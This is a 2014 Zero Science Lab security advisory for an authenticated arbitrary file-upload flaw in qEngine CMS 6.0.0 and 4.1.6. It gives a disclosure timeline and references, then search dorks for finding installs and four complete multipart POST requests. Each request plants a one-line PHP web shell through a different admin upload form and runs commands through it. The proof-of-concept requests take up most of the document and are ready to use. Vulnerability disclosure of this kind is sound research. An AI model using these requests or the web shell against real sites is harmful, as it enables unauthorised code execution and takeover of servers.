qEngine CMS 6.0.0 Remote Code Execution

2014-03-25T00:00:00
ID ZSL-2014-5174
Type zeroscience
Reporter Gjoko Krstic
Modified 2014-03-25T00:00:00

Description

Title: qEngine CMS 6.0.0 Remote Code Execution
Advisory ID: ZSL-2014-5174
Type: Local/Remote
Impact: System Access
Risk: (4/5)
Release Date: 25.03.2014

Summary

qEngine (qE) is a lightweight, fast, yet feature packed CMS script to help you building your site quickly. Using template engine to separate the php codes from the design, you don't need to touch the codes to design your web site. qE is also expandable by using modules.

Description

qEngine CMS suffers from an authenticated arbitrary code execution. The vulnerability is caused due to the improper verification of uploaded files in several modules thru several POST parameters. This can be exploited to execute arbitrary PHP code by uploading a malicious PHP script file that will be stored in '/public/image' directory.

Vendor

C97net - <http://www.c97.net>

Affected Version

6.0.0 and 4.1.6

Tested On

Apache/2.4.7 (Win32)
PHP/5.5.6
MySQL 5.6.14

Vendor Status

[07.03.2014] Vulnerability discovered.
[10.03.2014] Vendor contacted.
[11.03.2014] Vendor responds asking more details.
[11.03.2014] Sent details to the vendor.
[12.03.2014] Working with the vendor.
[13.03.2014] Vendor working on a new version.
[21.03.2014] Asked vendor for status update.
[21.03.2014] Vendor promises patch release in April.
[25.03.2014] Public security advisory released.
[31.05.2014] Vendor releases version 7 to address this issue.

PoC

qenginecms_rce.txt

Credits

Vulnerability discovered by Gjoko Krstic - <gjoko@zeroscience.mk>

References

[1] <http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5178.php>
[2] <http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5182.php>
[3] <http://cxsecurity.com/issue/WLB-2014030190>
[4] <http://packetstormsecurity.com/files/125855>
[5] <http://www.exploit-db.com/exploits/32511/>
[6] <http://www.securityfocus.com/bid/66398>
[7] <http://osvdb.org/show/osvdb/104916>
[8] <http://osvdb.org/show/osvdb/104917>
[9] <http://osvdb.org/show/osvdb/104943>
[10] <http://www.c97.net/news/security-issues-with-qengine-family.php>
[11] <https://secunia.com/advisories/57529/>
[12] <http://www.c97.net/news/qengine-7-is-ready-to-download.php>

Changelog

[25.03.2014] - Initial release
[26.03.2014] - Added reference [6], [7], [8] and [9]
[27.03.2014] - Added reference [10]
[31.03.2014] - Added reference [11]
[31.05.2014] - Added vendor status and reference [12]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: lab@zeroscience.mk

                                        
                                            
qEngine CMS 6.0.0 Remote Code Execution


Vendor: C97net
Product web page: http://www.c97.net
Affected version: 6.0.0 and 4.1.6

Summary: qEngine (qE) is a lightweight, fast, yet feature packed
CMS script to help you building your site quickly. Using template
engine to separate the php codes from the design, you don't need
to touch the codes to design your web site. qE is also expandable
by using modules.

Desc: qEngine CMS suffers from an authenticated arbitrary code
execution. The vulnerability is caused due to the improper verification
of uploaded files in several modules thru several POST parameters.
This can be exploited to execute arbitrary PHP code by uploading
a malicious PHP script file that will be stored in '/public/image'
directory. Minimum permissions needed for a user to upload any file:

User level: Regular (param: user_level=1)
Admin level: Editor (param: admin_level=3)

Only the 'Super Admin' level makes the Tool 'File Manager' available.


Tested on: Apache/2.4.7 (Win32)
           PHP/5.5.6
           MySQL 5.6.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2014-5174
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5174.php


Dork #1: intitle:powered by c97.net
Dork #2: intitle:powered by qEngine
Dork #3: intitle:powered by Kemana.c97.net
Dork #4: intitle:powered by Cart2.c97.net



07.03.2014

---


 #1 (Modules &gt; qBanner &gt; Manage Banner &gt; Add Entry)

POST http://localhost/qe6/admin/task.php?mod=qbanner&run=edit.php& HTTP/1.1


-----------------------------225222869427624
Content-Disposition: form-data; name="AXSRF_token"

52e9c9ff9bb251a144b82a662496f5b8
-----------------------------225222869427624
Content-Disposition: form-data; name="qadmin_cmd"

new
-----------------------------225222869427624
Content-Disposition: form-data; name="qadmin_process"

1
-----------------------------225222869427624
Content-Disposition: form-data; name="qadmin_savenew"

0
-----------------------------225222869427624
Content-Disposition: form-data; name="primary_key"

page_id
-----------------------------225222869427624
Content-Disposition: form-data; name="primary_val"

dummy
-----------------------------225222869427624
Content-Disposition: form-data; name="page_image"; filename="shell.php"
Content-Type: application/octet-stream

&lt;?php passthru($_GET['cmd']); ?&gt;
-----------------------------225222869427624
Content-Disposition: form-data; name="page_title"

ZSL
-----------------------------225222869427624
Content-Disposition: form-data; name="page_keyword"

http://www.zeroscience.mk
-----------------------------225222869427624
Content-Disposition: form-data; name="group_id"

QBANR
-----------------------------225222869427624
Content-Disposition: form-data; name="page_body"

This page is part of qBanner module. Please use qBanner Manager to edit this page.
-----------------------------225222869427624
Content-Disposition: form-data; name="page_allow_comment"

-----------------------------225222869427624
Content-Disposition: form-data; name="page_list"

-----------------------------225222869427624--


Upload location: http://localhost/qe6/public/image/
Exec: http://localhost/qe6/public/image/shell.php?cmd=whoami




 #2 (Tools &gt; File Manager &gt; Upload)

POST http://localhost/qe6/admin/fman/upload_process.php HTTP/1.1


-----------------------------76802486520945
Content-Disposition: form-data; name="chdir"

-----------------------------76802486520945
Content-Disposition: form-data; name="n"

5
-----------------------------76802486520945
Content-Disposition: form-data; name="userfile_1"; filename="shell.php"
Content-Type: application/octet-stream

&lt;?php passthru($_GET['cmd']); ?&gt;
-----------------------------76802486520945
Content-Disposition: form-data; name="userfile_2"; filename=""
Content-Type: application/octet-stream

-----------------------------76802486520945
Content-Disposition: form-data; name="userfile_3"; filename=""
Content-Type: application/octet-stream

-----------------------------76802486520945
Content-Disposition: form-data; name="userfile_4"; filename=""
Content-Type: application/octet-stream

-----------------------------76802486520945
Content-Disposition: form-data; name="userfile_5"; filename=""
Content-Type: application/octet-stream

-----------------------------76802486520945--


Upload location: Anywhere within the webroot folder and its subfolders.
Exec: http://localhost/qe6/shell.php?cmd=whoami




 #3 (Modules &gt; Slideshow &gt; Manage Slides &gt; Add Entry)

POST http://localhost/qe6/admin/task.php?mod=slideshow&run=edit.php& HTTP/1.1


-----------------------------23201806221528
Content-Disposition: form-data; name="AXSRF_token"

52e9c9ff9bb251a144b82a662496f5b8
-----------------------------23201806221528
Content-Disposition: form-data; name="qadmin_cmd"

new
-----------------------------23201806221528
Content-Disposition: form-data; name="qadmin_process"

1
-----------------------------23201806221528
Content-Disposition: form-data; name="qadmin_savenew"

0
-----------------------------23201806221528
Content-Disposition: form-data; name="primary_key"

page_id
-----------------------------23201806221528
Content-Disposition: form-data; name="primary_val"

dummy
-----------------------------23201806221528
Content-Disposition: form-data; name="page_image"; filename="shell.php"
Content-Type: application/octet-stream

&lt;?php passthru($_GET['cmd']); ?&gt;
-----------------------------23201806221528
Content-Disposition: form-data; name="page_title"

ZSL
-----------------------------23201806221528
Content-Disposition: form-data; name="page_keyword"

http://www.zeroscience.mk
-----------------------------23201806221528
Content-Disposition: form-data; name="group_id"

SSHOW
-----------------------------23201806221528
Content-Disposition: form-data; name="page_body"

This page is part of SlideShow module. Please use SlideShow Manager to edit this page.
-----------------------------23201806221528
Content-Disposition: form-data; name="page_allow_comment"

-----------------------------23201806221528
Content-Disposition: form-data; name="page_list"

-----------------------------23201806221528--


Upload location: http://localhost/qe6/public/image/
Exec: http://localhost/qe6/public/image/shell.php?cmd=whoami




 #4 (Contents &gt; Manage Categories &gt; Add Entry)

POST http://localhost/qe6/admin/page_cat.php? HTTP/1.1


-----------------------------205172563220150
Content-Disposition: form-data; name="AXSRF_token"

3afa0c7483889ac54d7b6afa4083a9a2
-----------------------------205172563220150
Content-Disposition: form-data; name="qadmin_cmd"

new
-----------------------------205172563220150
Content-Disposition: form-data; name="qadmin_process"

1
-----------------------------205172563220150
Content-Disposition: form-data; name="qadmin_savenew"

0
-----------------------------205172563220150
Content-Disposition: form-data; name="primary_key"

idx
-----------------------------205172563220150
Content-Disposition: form-data; name="primary_val"

dummy
-----------------------------205172563220150
Content-Disposition: form-data; name="group_id"

GENPG
-----------------------------205172563220150
Content-Disposition: form-data; name="parent_id"

1
-----------------------------205172563220150
Content-Disposition: form-data; name="cat_name"

ZSL
-----------------------------205172563220150
Content-Disposition: form-data; name="permalink"

-----------------------------205172563220150
Content-Disposition: form-data; name="cat_details"

&lt;p&gt;Zero Science Lab&lt;/p&gt;
-----------------------------205172563220150
Content-Disposition: form-data; name="cat_image"; filename="shell.php"
Content-Type: application/octet-stream

&lt;?php passthru($_GET['cmd']); ?&gt;
-----------------------------205172563220150--


Upload location: http://localhost/qe6/public/image/
Exec: http://localhost/qe6/public/image/shell.php?cmd=whoami